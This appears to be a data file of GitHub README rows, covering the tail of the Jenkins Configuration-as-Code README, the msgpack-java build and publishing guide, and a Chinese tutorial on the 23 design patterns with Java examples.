`CASC_JENKINS_CONFIG=/jenkins/.configs/casc_configs` contains hidden folder `.config`
:x: `/jenkins/.configs/casc_configs/jenkins.yaml`
:x: `/jenkins/.configs/casc_configs/dir1/config.yaml`
:x: `/jenkins/.configs/casc_configs/.dir1/config.yaml`
:x: `/jenkins/.configs/casc_configs/..dir2/config.yaml`
</details>
All configuration files that are discovered MUST be supplementary. They cannot overwrite each other's configuration values. This creates a conflict and raises a `ConfiguratorException`. Thus, the order of traversal does not matter to the final outcome.
Instead of setting the `CASC_JENKINS_CONFIG` environment variable, you can also define using
the `casc.jenkins.config` Java property. This is useful when installing Jenkins via a package
management tool and can't set an environment variable outside of a package-managed file, which could
be overwritten by an update. For RHEL/CentOS systems, you can append the following to the
`JENKINS_JAVA_OPTIONS` entry in `/etc/sysconfig/jenkins`
`-Dcasc.jenkins.config=/jenkins/casc_configs`
If you do not set the `CASC_JENKINS_CONFIG` environment variable or the `casc.jenkins.config` Java
property, the plugin will default to looking for a single config file in
`$JENKINS_HOME/jenkins.yaml`.
If set up correctly, you should be able to browse the Configuration as Code page `Manage Jenkins` -> `Configuration as Code`.
## Initial Configuration
When configuring the first Jenkins instance, browse the examples shown in the [demos](demos)
directory of this repository. If you have a plugin that does not have an example, consult the reference
help document. Click the `Documentation` link at the bottom of the Configuration as Code page in your Jenkins instance.
If you want to configure a specific plugin, search the page for the name of the plugin. The page will
show you which root element belongs to the configuration. Most installed plugins belong under the `unclassified` root
element.
## Examples
See [demos](demos) folder with various samples.
### LDAP
Replace user interface based configuration for LDAP with the text-based configuration.
```yaml
jenkins:
securityRealm:
ldap:
configurations:
- groupMembershipStrategy:
fromUserRecord:
attributeName: "memberOf"
inhibitInferRootDN: false
rootDN: "dc=acme,dc=org"
server: "ldaps://ldap.acme.org:1636"
```
### Yaml Aliases and Anchors
Replace repeated elements with yaml anchors.
Anchor keys must be prefixed with `x-` due to JCasC handling unknown root elements.
```yaml
x-jenkins-linux-node: &jenkins_linux_node_anchor
remoteFS: "/home/jenkins"
launcher:
inbound:
workDirSettings:
disabled: true
failIfWorkDirIsMissing: false
internalDir: "remoting"
workDirPath: "/tmp"
jenkins:
nodes:
- permanent:
name: "static-agent1"
<<: *jenkins_linux_node_anchor
- permanent:
name: "static-agent2"
<<: *jenkins_linux_node_anchor
```
Which produces two permanent agent nodes which can also be written like this.
```yaml
jenkins:
nodes:
- permanent:
name: "static-agent1"
remoteFS: "/home/jenkins"
launcher:
inbound:
workDirSettings:
disabled: true
failIfWorkDirIsMissing: false
internalDir: "remoting"
workDirPath: "/tmp"
- permanent:
name: "static-agent2"
remoteFS: "/home/jenkins"
launcher:
inbound:
workDirSettings:
disabled: true
failIfWorkDirIsMissing: false
internalDir: "remoting"
workDirPath: "/tmp"
```
## Security considerations
Only Jenkins administrators are able to create or update a Jenkins instance using configuration as code configuration files.
However, in some environments, administrators may choose to allow less privileged users to modify portions of the configuration files, for example by storing them in an SCM repository that those users have access to.
Allowing non-administrators to edit these configuration files can pose various security risks, so any changes made by non-administrators must be reviewed for safety before they are applied.
Here are some examples of changes that could be problematic:
- Modification of the security realm or authorization strategy settings could give users higher permissions than intended.
- Interpolation of secrets in unprotected contexts may expose sensitive data. For example, a snippet like `systemMessage: "${SENSITIVE_VARIABLE}"` could expose the value of a sensitive environment variable to all users who are able to access Jenkins.
## Installing plugins
We don't support installing plugins with JCasC, so you need to use something else for this,
Dockers users can use:\
[https://github.com/jenkinsci/docker/#preinstalling-plugins](https://github.com/jenkinsci/docker/#preinstalling-plugins)
Kubernetes users:\
[https://github.com/jenkinsci/helm-charts](https://github.com/jenkinsci/helm-charts)
## Supported Plugins
Most plugins should be supported out-of-the-box or maybe require some minimal changes. See this [dashboard](https://issues.jenkins.io/secure/Dashboard.jspa?selectPageId=18341) for known compatibility issues.
## Adding JCasC support to a plugin
Plugin developers wanting to support JCasC in their plugin should [check out our how-to guide](docs/PLUGINS.md).
## Configuration-as-Code extension plugins
- [configuration-as-code-groovy-plugin](https://github.com/jenkinsci/configuration-as-code-groovy-plugin)\
Allows specifying groovy code that should run on during configuration.
## Jenkins Enhancement Proposal
As configuration as code is demonstrated to be a highly requested topic in the Jenkins community, we have published
[JEP 201](https://github.com/jenkinsci/jep/tree/master/jep/201) as a proposal to make this a standard component
of the Jenkins project. The proposal was accepted. :tada:
| 0 |
msgpack/msgpack-java | MessagePack serializer implementation for Java / msgpack.org[Java] | null | MessagePack for Java
===
[MessagePack](http://msgpack.org) is a binary serialization format. If you need a fast and compact alternative of JSON, MessagePack is your friend. For example, a small integer can be encoded in a single byte, and short strings only need a single byte prefix + the original byte array. MessagePack implementation is already available in various languages (See also the list in http://msgpack.org) and works as a universal data format.
* Message Pack specification: <https://github.com/msgpack/msgpack/blob/master/spec.md>
MessagePack v7 (or later) is a faster implementation of the previous version [v06](https://github.com/msgpack/msgpack-java/tree/v06), and
supports all of the message pack types, including [extension format](https://github.com/msgpack/msgpack/blob/master/spec.md#formats-ext).
[JavaDoc is available at javadoc.io](https://www.javadoc.io/doc/org.msgpack/msgpack-core).
## Quick Start
[](https://maven-badges.herokuapp.com/maven-central/org.msgpack/msgpack-core/)
[](https://www.javadoc.io/doc/org.msgpack/msgpack-core)
For Maven users:
```
<dependency>
<groupId>org.msgpack</groupId>
<artifactId>msgpack-core</artifactId>
<version>(version)</version>
</dependency>
```
For sbt users:
```
libraryDependencies += "org.msgpack" % "msgpack-core" % "(version)"
```
For gradle users:
```
repositories {
mavenCentral()
}
dependencies {
compile 'org.msgpack:msgpack-core:(version)'
}
```
- [Usage examples](https://github.com/msgpack/msgpack-java/blob/develop/msgpack-core/src/test/java/org/msgpack/core/example/MessagePackExample.java)
### Java 17 Support
For using DirectByteBuffer (off-heap memory access methods) in JDK17, you need to specify two JVM options:
```
--add-opens=java.base/java.nio=ALL-UNNAMED
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED
```
### Integration with Jackson ObjectMapper (jackson-databind)
msgpack-java supports serialization and deserialization of Java objects through [jackson-databind](https://github.com/FasterXML/jackson-databind).
For details, see [msgpack-jackson/README.md](https://github.com/msgpack/msgpack-java/blob/develop/msgpack-jackson/README.md). The template-based serialization mechanism used in v06 is deprecated.
- [Release Notes](https://github.com/msgpack/msgpack-java/blob/develop/RELEASE_NOTES.md)
## For MessagePack Developers [](https://travis-ci.org/msgpack/msgpack-java)
msgpack-java uses [sbt](http://www.scala-sbt.org/) for building the projects. For the basic usage of sbt, see:
* [Building Java projects with sbt](http://xerial.org/blog/2014/03/24/sbt/)
Coding style
* msgpack-java uses [the same coding style](https://github.com/airlift/codestyle) with Facebook Presto
* [IntelliJ setting file](https://raw.githubusercontent.com/airlift/codestyle/master/IntelliJIdea14/Airlift.xml)
### Basic sbt commands
Enter the sbt console:
```
$ ./sbt
```
Here is a list of sbt commands for daily development:
```
> ~compile # Compile source codes
> ~test:compile # Compile both source and test codes
> ~test # Run tests upon source code change
> ~testOnly *MessagePackTest # Run tests in the specified class
> ~testOnly *MessagePackTest -- (pattern) # Run tests matching the pattern
> project msgpack-core # Focus on a specific project
> package # Create a jar file in the target folder of each project
> jcheckStyle # Run check style
> scalafmtAll # Reformat code
```
### Publishing
```
> publishLocal # Install to local .ivy2 repository
> publishM2 # Install to local .m2 Maven repository
> publish # Publishing a snapshot version to the Sonatype repository
```
### Publish to Sonatype (Maven Central)
To publish a new version, add a new git tag and push it to GitHub. GitHub Action will deploy a new release version to Maven Central (Sonatype).
```scala
$ git tag v0.x.y
$ git push origin v0.x.y
```
A new release note will be generated automatically at the [GitHub Releases](https://github.com/msgpack/msgpack-java/releases) page.
#### Publishing to Sonatype from Local Machine
If you need to publish to Maven central using a local machine, you need to configure [sbt-sonatype](https://github.com/xerial/sbt-sonatype) plugin. First set Sonatype account information (user name and password) in the global sbt settings. To protect your password, never include this file in your project.
___$HOME/.sbt/(sbt-version)/sonatype.sbt___
```
credentials += Credentials("Sonatype Nexus Repository Manager",
"oss.sonatype.org",
"(Sonatype user name)",
"(Sonatype password)")
```
You may also need to configure GPG. See the instruction in [sbt-pgp](https://github.com/sbt/sbt-pgp).
Then, run `publishedSigned` followed by `sonatypeBundleRelease`:
```
# [optional] When you need to perform the individual release steps manually, use the following commands:
> publishSigned # Publish GPG signed artifacts to the Sonatype repository
> sonatypeBundleRelease # Publish to the Maven Central (It will be synched within less than 4 hours)
```
If some sporadic error happens (e.g., Sonatype timeout), rerun `sonatypeBundleRelease` again.
### Project Structure
```
msgpack-core # Contains packer/unpacker implementation that never uses third-party libraries
msgpack-jackson # Contains jackson-dataformat-java implementation
```
| 0 |
youlookwhat/DesignPattern | 📚 Java 23种设计模式全归纳 | designpattern designpatterns java | # DesignPattern
设计模式（Design pattern）是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。
设计模式分为三种类型，共23种：
- **创建型模式**：[单例模式](https://github.com/youlookwhat/DesignPattern#3-单例设计模式)、[抽象工厂模式](https://github.com/youlookwhat/DesignPattern#2-工厂模式)、[建造者模式](https://github.com/youlookwhat/DesignPattern#11-建造者模式)、[工厂模式](https://github.com/youlookwhat/DesignPattern#2-工厂模式)、[原型模式](https://github.com/youlookwhat/DesignPattern#12-原型模式)。
- **结构型模式**：[适配器模式](https://github.com/youlookwhat/DesignPattern#5-适配器模式)、[桥接模式](https://github.com/youlookwhat/DesignPattern#15-桥接模式)、[装饰模式](https://github.com/youlookwhat/DesignPattern#7-装饰者模式)、[组合模式](https://github.com/youlookwhat/DesignPattern#16-组合模式)、[外观模式](https://github.com/youlookwhat/DesignPattern#8-外观模式)、[享元模式](https://github.com/youlookwhat/DesignPattern#13-享元模式)、[代理模式](https://github.com/youlookwhat/DesignPattern#14-代理模式)。
- **行为型模式**：[模版方法模式](https://github.com/youlookwhat/DesignPattern#9-模板方法模式)、[命令模式](https://github.com/youlookwhat/DesignPattern#6-命令模式)、[迭代器模式](https://github.com/youlookwhat/DesignPattern#17-迭代器模式)、[观察者模式](https://github.com/youlookwhat/DesignPattern#1-观察者模式)、[中介者模式](https://github.com/youlookwhat/DesignPattern#18-中介者模式)、[备忘录模式](https://github.com/youlookwhat/DesignPattern#19-备忘录模式)、[解释器模式](https://github.com/youlookwhat/DesignPattern#20-解释器模式)、[状态模式](https://github.com/youlookwhat/DesignPattern#10-状态模式)、[策略模式](https://github.com/youlookwhat/DesignPattern#4-策略模式)、[责任链模式](https://github.com/youlookwhat/DesignPattern#21-责任链模式)、[访问者模式](https://github.com/youlookwhat/DesignPattern#22-访问者模式)。
> 参照Hongyang、菜鸟教程等处文章所写。如有错误欢迎指正，如有侵权，请联系我删除。
----
## Blog Catalogue：
- 1.[ 设计模式 观察者模式(Observer Pattern) 以微信公众服务为例](http://blog.csdn.net/lmj623565791/article/details/24179699)
- 2.[ 设计模式 工厂模式(Factory Pattern) 从卖肉夹馍说起](http://blog.csdn.net/lmj623565791/article/details/24460585)
- 3.[ 设计模式 单例设计模式(Singleton Pattern) 完全解析](http://blog.csdn.net/dmk877/article/details/50311791)
- 4.[ 设计模式 策略模式(Strategy Pattern) 以角色游戏为背景](http://blog.csdn.net/lmj623565791/article/details/24116745)
- 5.[ 设计模式 适配器模式(Adapter Pattern) 以手机充电器为例](http://blog.csdn.net/lmj623565791/article/details/25833393)
- 6.[ 设计模式 命令模式(Command Pattern) 管理智能家电](http://blog.csdn.net/lmj623565791/article/details/24602057)
- 7.[ 设计模式 装饰者模式(Decorator Pattern) 带你重回传奇世界](http://blog.csdn.net/lmj623565791/article/details/24269409)
- 8.[ 设计模式 外观模式(Facade Pattern) 一键电影模式](http://blog.csdn.net/lmj623565791/article/details/25837275)
- 9.[ 设计模式 模版方法模式(Template Method Pattern) 展现程序员的一天](http://blog.csdn.net/lmj623565791/article/details/26276093)
- 10.[ 设计模式 状态模式(State Pattern) 以自动售货机为例](http://blog.csdn.net/lmj623565791/article/details/26350617)
- 11.[ 设计模式 建造者模式(Builder Pattern) 以造汽车买汽车为例](https://wiki.jikexueyuan.com/project/java-design-pattern/builder-pattern.html)
- 12.[ 设计模式 原型模式(Prototype Pattern) 以获取多种形状为例](https://www.runoob.com/design-pattern/prototype-pattern.html)
- 13.[ 设计模式 享元模式(Flyweight Pattern) 以随机获取多种形状为例](https://www.runoob.com/design-pattern/flyweight-pattern.html)
- 14.[ 设计模式 代理模式(Proxy Pattern) 以获取磁盘中的图片为例](https://www.runoob.com/design-pattern/proxy-pattern.html)
- 15.[ 设计模式 桥接模式(Bridge Pattern) 以画不同颜色的圆为例](https://www.runoob.com/design-pattern/bridge-pattern.html)
- 16.[ 设计模式 组合模式(Composite Pattern) 以创建和打印员工的层次结构为例](https://www.runoob.com/design-pattern/composite-pattern.html)
- 17.[ 设计模式 迭代器模式(Iterator Pattern) 以使用迭代器打印名字为例](https://www.runoob.com/design-pattern/iterator-pattern.html)
- 18.[ 设计模式 中介者模式(Mediator Pattern) 以公共聊天室为例](https://www.runoob.com/design-pattern/mediator-pattern.html)
- 19.[ 设计模式 备忘录模式(Memento Pattern) 以使用备忘录为例](https://www.runoob.com/design-pattern/memento-pattern.html)
- 20.[ 设计模式 解释器模式(Interpreter Pattern) 以解释一句话为例](https://www.runoob.com/design-pattern/interpreter-pattern.html)
- 21.[ 设计模式 责任链模式(Chain of Responsibility Pattern) 以Android Studio中打印日志为例](https://www.runoob.com/design-pattern/chain-of-responsibility-pattern.html)
- 22.[ 设计模式 访问者模式(Visitor Pattern) 以显示计算机的组成部分为例](https://www.runoob.com/design-pattern/visitor-pattern.html)
## Source Code
> - [Observer](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/observer)
> - [Factory](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/factory)
> - [Singleton](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/singleton)
> - [Strategy](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/strategy)
> - [Adapter](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/adapter)
> - [Command](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/command)
> - [Decorator](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/decorator)
> - [Facade](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/facade)
> - [Template Method](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/templatemethod)
> - [State](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/state)
> - [Builder](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/builder)
> - [Prototype](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/prototype)
> - [Flyweight](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/flyweight)
> - [Proxy](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/proxy)
> - [Bridge](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/bridge)
> - [Composite](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/composite)
> - [Iterator](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/iterator)
> - [Mediator](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/mediator)
> - [Memento](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/memento)
> - [Chain of Responsibility](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/chainofresponsibility)
> - [Visitor](https://github.com/youlookwhat/DesignPattern/tree/master/app/src/main/java/com/example/jingbin/designpattern/visitor)
## Project Picture
## Pattern Analysis
### 1. 观察者模式
> 定义了对象之间的一对多的依赖，这样一来，当一个对象改变时，它的所有的依赖者都会收到通知并自动更新。
- 对于JDK或者Andorid中都有很多地方实现了观察者模式，比如XXXView.addXXXListenter ， 当然了 XXXView.setOnXXXListener不一定是观察者模式，因为观察者模式是一种一对多的关系，对于setXXXListener是1对1的关系，应该叫回调。
- 专题接口：[Subject.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/observer/interfaces/Subject.java) ;
```java
/**
* 注册一个观察者
*/
public void registerObserver(Observer observer);
/**
* 移除一个观察者
*/
public void removeObserver(Observer observer);
/**
* 通知所有观察者
*/
public void notifyObservers();
```
- 3D服务号的实现类：[ObjectFor3D.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/observer/classs/ObjectFor3D.java)
```java
@Override
public void registerObserver(Observer observer) {
observers.add(observer);
}
@Override
public void removeObserver(Observer observer) {
int index = observers.indexOf(observer);
if (index >= 0) {
observers.remove(index);
}
}
@Override
public void notifyObservers() {
for (Observer observer : observers) {
observer.update(msg);
}
}
/**
* 主题更新信息
*/
public void setMsg(String msg) {
this.msg = msg;
notifyObservers();
}
```
- 所有观察者需要实现此接口:[Observer.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/observer/interfaces/Observer.java)
```java
public ObserverUser1(Subject subject) {
subject.registerObserver(this);
}
@Override
public void update(String msg) {
Log.e("-----ObserverUser1 ", "得到 3D 号码:" + msg + ", 我要记下来。");
}
```
- 最后测试：[ObserverActivity.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/observer/ObserverActivity.java)
```java
// 创建服务号
objectFor3D = new ObjectFor3D();
// 创建两个订阅者
observerUser1 = new ObserverUser1(objectFor3D);
observerUser2 = new ObserverUser2(objectFor3D);
// 两个观察者,发送两条信息
objectFor3D.setMsg("201610121 的3D号为:127");
objectFor3D.setMsg("20161022 的3D号为:000");
```
### 2. 工厂模式
简单列一下这个模式的家族：
- **1、静态工厂模式**
- 这个最常见了，项目中的辅助类，TextUtil.isEmpty等，类+静态方法。
- **2、简单工厂模式（店里买肉夹馍）**
- 定义：通过专门定义一个类来负责创建其他类的实例，被创建的实例通常都具有共同的父类。
- 根据类型直接创建肉夹馍：[SimpleRoujiaMoFactory.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/factory/jdgc/SimpleRoujiaMoFactory.java)
```java
public RoujiaMo creatRoujiaMo(String type) {
RoujiaMo roujiaMo = null;
switch (type) {
case "Suan":
roujiaMo = new ZSuanRoujiaMo();
break;
case "La":
roujiaMo = new ZLaRoujiaMo();
break;
case "Tian":
roujiaMo = new ZTianRoujiaMo();
break;
default:// 默认为酸肉夹馍
roujiaMo = new ZSuanRoujiaMo();
break;
}
return roujiaMo;
}
```
- **3、工厂方法模式（开分店）**
- 定义：定义一个创建对象的接口，但由子类决定要实例化的类是哪一个。工厂方法模式把类实例化的过程推迟到子类。
- 对比定义：
- 1、定义了创建对象的一个接口：public abstract RouJiaMo sellRoujiaMo(String type);
- 2、由子类决定实例化的类，可以看到我们的馍是子类生成的。
- 提供创建肉夹馍店抽象方法：[RoujiaMoStore.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/factory/gcff/RoujiaMoStore.java)
```java
public abstract RoujiaMo sellRoujiaMo(String type);
```
- 具体实现抽象方法：[XianRoujiaMoStore.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/factory/gcff/XianRoujiaMoStore.java)
- 分店依旧使用简单工厂模式：[XianSimpleRoujiaMoFactory.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/factory/gcff/XianSimpleRoujiaMoFactory.java)
- **4、抽象工厂模式（使用官方提供的原料）**
- 定义：提供一个接口，用于创建相关的或依赖对象的家族，而不需要明确指定具体类。
- 对比定义：
- 1、提供一个接口：public interface RouJiaMoYLFactroy
- 2、用于创建相关的或依赖对象的家族 public Meat createMeat();public YuanLiao createYuanliao();我们接口用于创建一系列的原材料。
- 创建用于提供原料的接口工厂：[RoujiaMoYLFactory.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/factory/cxgc/RoujiaMoYLFactory.java)
- 各自分店实现接口，完成原料提供：[XianRoujiaMoYLFoctory.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/factory/cxgc/XianRoujiaMoYLFoctory.java)
- 准备时，使用官方的原料：[RoujiaMo.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/factory/cxgc/RoujiaMo.java)
```java
/**
* 准备工作
*/
public void prepare(RoujiaMoYLFactory roujiaMoYLFactory) {
Meet meet = roujiaMoYLFactory.creatMeet();
YuanLiao yuanLiao = roujiaMoYLFactory.creatYuanLiao();
Log.e("---RoujiaMo:", "使用官方的原料 ---" + name + ": 揉面-剁肉-完成准备工作 yuanLiao:"+meet+"yuanLiao:"+yuanLiao);
}
```
### 3. 单例设计模式
> 单例模式主要是为了避免因为创建了多个实例造成资源的浪费，且多个实例由于多次调用容易导致结果出现错误，而**使用单例模式能够保证整个应用中有且只有一个实例**。
- 定义：只需要三步就可以保证对象的唯一性
- (1) 不允许其他程序用new对象
- (2) 在该类中创建对象
- (3) 对外提供一个可以让其他程序获取该对象的方法
- 对比定义：
- (1) 私有化该类的构造函数
- (2) 通过new在本类中创建一个本类对象
- (3) 定义一个公有的方法，将在该类中所创建的对象返回
- 饿汉式[可用]：[SingletonEHan.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/singleton/ehan/SingletonEHan.java)
- 含懒汉式[双重校验锁 推荐用]：[SingletonLanHan.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/singleton/lanhan/SingletonLanHan.java)
```java
private SingletonLanHan() {}
private static SingletonLanHan singletonLanHanFour;
public static SingletonLanHan getSingletonLanHanFour() {
if (singletonLanHanFour == null) {
synchronized (SingletonLanHan.class) {
if (singletonLanHanFour == null) {
singletonLanHanFour = new SingletonLanHan();
}
}
}
return singletonLanHanFour;
}
```
- 内部类[推荐用]：[SingletonIn.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/singleton/inclass/SingletonIn.java)
- 枚举[推荐用]：[SingletonEnum.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/singleton/enums/SingletonEnum.java)
### 4. 策略模式
> 策略模式：定义了算法族，分别封装起来，让它们之间可相互替换，此模式让算法的变化独立于使用算法的客户。
- 以创建游戏角色为例子：
- 最初的游戏角色的父类：[Role.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/strategy/old/Role.java)
- 发现有重复代码后，重构后的父类：[Role.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/strategy/better/Role.java)
- 总结：
- 1、封装变化（把可能变化的代码封装起来）
- 2、多用组合，少用继承（我们使用组合的方式，为客户设置了算法）
- 3、针对接口编程，不针对实现（对于Role类的设计完全的针对角色，和技能的实现没有关系）
- 最后测试：创建角色：
```java
RoleA roleA = new RoleA("---A");
roleA.setiDisplayBehavior(new DisplayYZ())
.setiAttackBehavior(new AttackXL())
.setiDefendBehavior(new DefendTMS())
.setiRunBehavior(new RunJCTQ());
roleA.display();// 样子
roleA.attack();// 攻击
roleA.run();// 逃跑
roleA.defend();// 防御
```
### 5. 适配器模式
> 定义：将一个类的接口转换成客户期望的另一个接口，适配器让原本接口不兼容的类可以相互合作。这个定义还好，说适配器的功能就是把一个接口转成另一个接口。
- 以充电器为实例: 手机充电器一般都是5V左右吧，咱天朝的家用交流电压220V，所以手机充电需要一个适配器（降压器）
- 一部手机: [Mobile.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/adapter/Mobile.java)
- 手机依赖一个提供5V电压的接口: [V5Power.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/adapter/V5Power.java)
- 我们拥有的是220V家用交流电: [V220Power.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/adapter/V220Power.java)
- **适配器，完成220V转5V的作用**：[V5PowerAdapter.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/adapter/V5PowerAdapter.java)
- 最后测试：给手机冲个电：
```java
Mobile mobile = new Mobile();
V5Power v5Power = new V5PowerAdapter(new V200Power());
mobile.inputPower(v5Power);
```
### 6. 命令模式
> 定义：将“请求”封装成对象，以便使用不同的请求、队列或者日志来参数化其他对象。命令模式也支持可撤销的操作。(简化: 将请求封装成对象，将动作请求者和动作执行者解耦。)
- 需求：最近智能家电很火热，假设现在有电视、电脑、电灯等家电，现在需要你做个遥控器控制所有家电的开关，要求做到每个按钮对应的功能供用户个性化，对于新买入家电要有非常强的扩展性。
- 1、家电的API：[Door.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/command/Door.java)
- 2、把命令封装成类：
- 统一的命令接口：[Command.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/command/Command.java)
- 家电实现该接口：[DoorOpenCommand.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/command/DoorOpenCommand.java)
- 3、遥控器：[ControlPanel.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/command/ControlPanel.java)
- 4、定义一个命令，可以干一系列的事情：[QuickCommand.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/command/QuickCommand.java)
```java
QuickCommand quickCloseCommand = new QuickCommand(new Command[]{new LightOffCommand(light), new ComputerOffCommand(computer), new DoorCloseCommand(door)});
controlPanel.setCommands(6, quickOpenCommand);
controlPanel.keyPressed(6);
```
- 5、遥控器面板执行：[CommandActivity.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/command/CommandActivity.java)
```java
controlPanel.setCommands(0, new DoorOpenCommand(door));// 开门
controlPanel.keyPressed(0);
```
### 7. 装饰者模式
> 装饰者模式：若要扩展功能，装饰者提供了比集成更有弹性的替代方案，动态地将责任附加到对象上。
- 先简单描述下装饰者模式发挥作用的地方，当我们设计好了一个类，我们需要给这个类添加一些辅助的功能，并且不希望改变这个类的代码，这时候就是装饰者模式大展雄威的时候了。这里还体现了一个**原则：类应该对扩展开放，对修改关闭。**
- 需求：设计游戏的装备系统，基本要求，要可以计算出每种装备在镶嵌了各种宝石后的攻击力和描述：
- 1、装备的超类：[IEquip.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/decorator/IEquip.java)
- 2、各个装备的实现类：
- eg：**武器**的实现类: [ArmEquip.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/decorator/equip/ArmEquip.java)
- 3、装饰品的超类（装饰品也属于装备）：[IEquipDecorator.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/decorator/gem/IEuipDecorator.java)
- 4、装饰品的实现类：
- eg：**蓝宝石**的实现类(可累加): [BlueGemDecorator.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/decorator/gem/BlueGemDecorator.java)
- 5、最后测试：计算攻击力和查看描述：
```java
Log.e("---", "一个镶嵌2颗红宝石,1颗蓝宝石的靴子: ");
IEquip iEquip = new RedGemDecorator(new RedGemDecorator(new BlueGemDecorator(new ShoeEquip())));
Log.e("---", "攻击力:" + iEquip.caculateAttack());
Log.e("---", "描述语:" + iEquip.description());
```
### 8. 外观模式
> 定义：提供一个统一的接口，用来访问子系统中的一群接口，外观定义了一个高层的接口，让子系统更容易使用。**其实就是为了方便客户的使用，把一群操作，封装成一个方法。**
- 需求：我比较喜欢看电影，于是买了投影仪、电脑、音响、设计了房间的灯光、买了爆米花机，然后我想看电影的时候，我需要一键观影和一键关闭。
- 每个设备类的开关等操作：
- eg: 爆米花机：[PopcornPopper.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/facade/device/PopcornPopper.java)
- 电影院类：[HomeTheaterFacade.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/facade/theater/HomeTheaterFacade.java)
```java
/**
* 一键观影
*/
public void watchMovie() {
computer.on();
light.down();
popcornPopper.on();
popcornPopper.makePopcorn();
projector.on();
projector.open();
player.on();
player.make3DListener();
}
```
- 最后测试：一键观影：
```java
new HomeTheaterFacade(computer, light, player, popcornPopper, projector).watchMovie();
```
### 9. 模板方法模式
> 定义：定义了一个算法的骨架，而将一些步骤延迟到子类中，模版方法使得子类可以在不改变算法结构的情况下，重新定义算法的步骤。
- 需求：简单描述一下：本公司有程序猿、测试、HR、项目经理等人，下面使用模版方法模式，记录下所有人员的上班情况
- 模板方法模式中的三类角色
- 1、具体方法(Concrete Method)
- 2、抽象方法(Abstract Method)
- 3、钩子方法(Hook Method)
